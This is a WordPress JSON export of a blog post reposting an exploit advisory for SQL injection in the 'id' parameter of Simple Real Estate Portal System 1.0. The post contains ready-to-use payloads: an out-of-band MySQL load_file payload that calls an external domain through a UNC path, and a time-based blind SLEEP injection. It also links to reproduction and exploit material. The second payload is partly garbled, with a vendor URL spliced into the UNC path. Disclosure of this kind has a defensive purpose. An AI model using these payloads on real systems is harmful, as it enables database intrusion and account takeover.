{"id":20918,"date":"2022-02-22T09:31:42","date_gmt":"2022-02-22T06:31:42","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166078\/sreps10-sql.txt"},"modified":"2022-02-22T10:12:10","modified_gmt":"2022-02-22T06:42:10","slug":"simple-real-estate-portal-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/simple-real-estate-portal-system-1-0-sql-injection\/","title":{"rendered":"Simple Real Estate Portal System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\">## Title: Simple Real Estate Portal System v1.0 remote SQL-Injections<br \/>\n## Author: nu11secur1ty<br \/>\n## Date: 02.20.2022<br \/>\n## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23<br \/>\n## Software: https:\/\/www.sourcecodester.com\/php\/15184\/simple-real-estate-portal-system-phpoop-free-source-code.html<\/p>\n<p dir=\"ltr\">## Description:<br \/>\nThe id parameter appears to be vulnerable to SQL injection attacks.<br \/>\nThe payload &#8216;+(select<br \/>\nload_file(&#8216;\\\\\\\\2bej8mzxoxsqpel4hbll4ar23t9mxjlaoyfl69v.http:\/\/stupid_asshole.com\\\\foh&#8217;))+&#8217;<br \/>\nwas submitted in the id parameter.<br \/>\nThis payload injects a SQL sub-query that calls MySQL&#8217;s load_file<br \/>\nfunction with a UNC file path that references a URL on an external<br \/>\ndomain.<br \/>\nThe application interacted with that domain, indicating that the<br \/>\ninjected SQL query was executed.<br \/>\nThe attacker from outside can take control of all accounts of this<br \/>\nsystem by using this vulnerability!<br \/>\nWARNING: If this is in some external domain, or some subdomain, or<br \/>\ninternal, this will be extremely dangerous!<br \/>\nStatus: CRITICAL<\/p>\n<p dir=\"ltr\">[+] Payloads:<\/p>\n<p dir=\"ltr\">&#8220;`mysql<br \/>\n&#8212;<br \/>\nParameter: id (GET)<br \/>\nType: time-based blind<br \/>\nTitle: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>\nPayload: p=view_estate&amp;id=2&#8217;+(select<br \/>\nload_file(&#8216;\\\\\\\\2bej8mzxoxsqpel4hbll4ar23t9mxjlaoyfl69v.https:\/\/www.sourcecodester.com\/php\/15184\/simple-real-estate-portal-system-phpoop-free-source-code.html\\\\foh&#8217;))+&#8221;<br \/>\nAND (SELECT 2183 FROM (SELECT(SLEEP(3)))uXKK) AND &#8216;NnWW&#8217;=&#8217;NnWW<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\n## Reproduce:<br \/>\n[href](https:\/\/github.com\/nu11secur1ty\/CVE-nu11secur1ty\/edit\/main\/vendors\/oretnom23\/2022\/Simple-Real-Estate-Portal-System)<\/p>\n<p dir=\"ltr\">## Proof and Exploit:<br \/>\n[href](https:\/\/streamable.com\/lffled)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>## Title: Simple Real Estate Portal System v1.0 remote SQL-Injections ## Author: nu11secur1ty ## Date: 02.20.2022 ## Vendor: https:\/\/www.sourcecodester.com\/users\/tips23 ## Software: https:\/\/www.sourcecodester.com\/php\/15184\/simple-real-estate-portal-system-phpoop-free-source-code.html ## Description: The id parameter appears to be vulnerable to SQL injection attacks. The payload &#8216;+(select load_file(&#8216;\\\\\\\\2bej8mzxoxsqpel4hbll4ar23t9mxjlaoyfl69v.http:\/\/stupid_asshole.com\\\\foh&#8217;))+&#8217; was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL&#8217;s load_file &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-20918","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20918","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=20918"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/20918\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=20918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=20918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=20918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}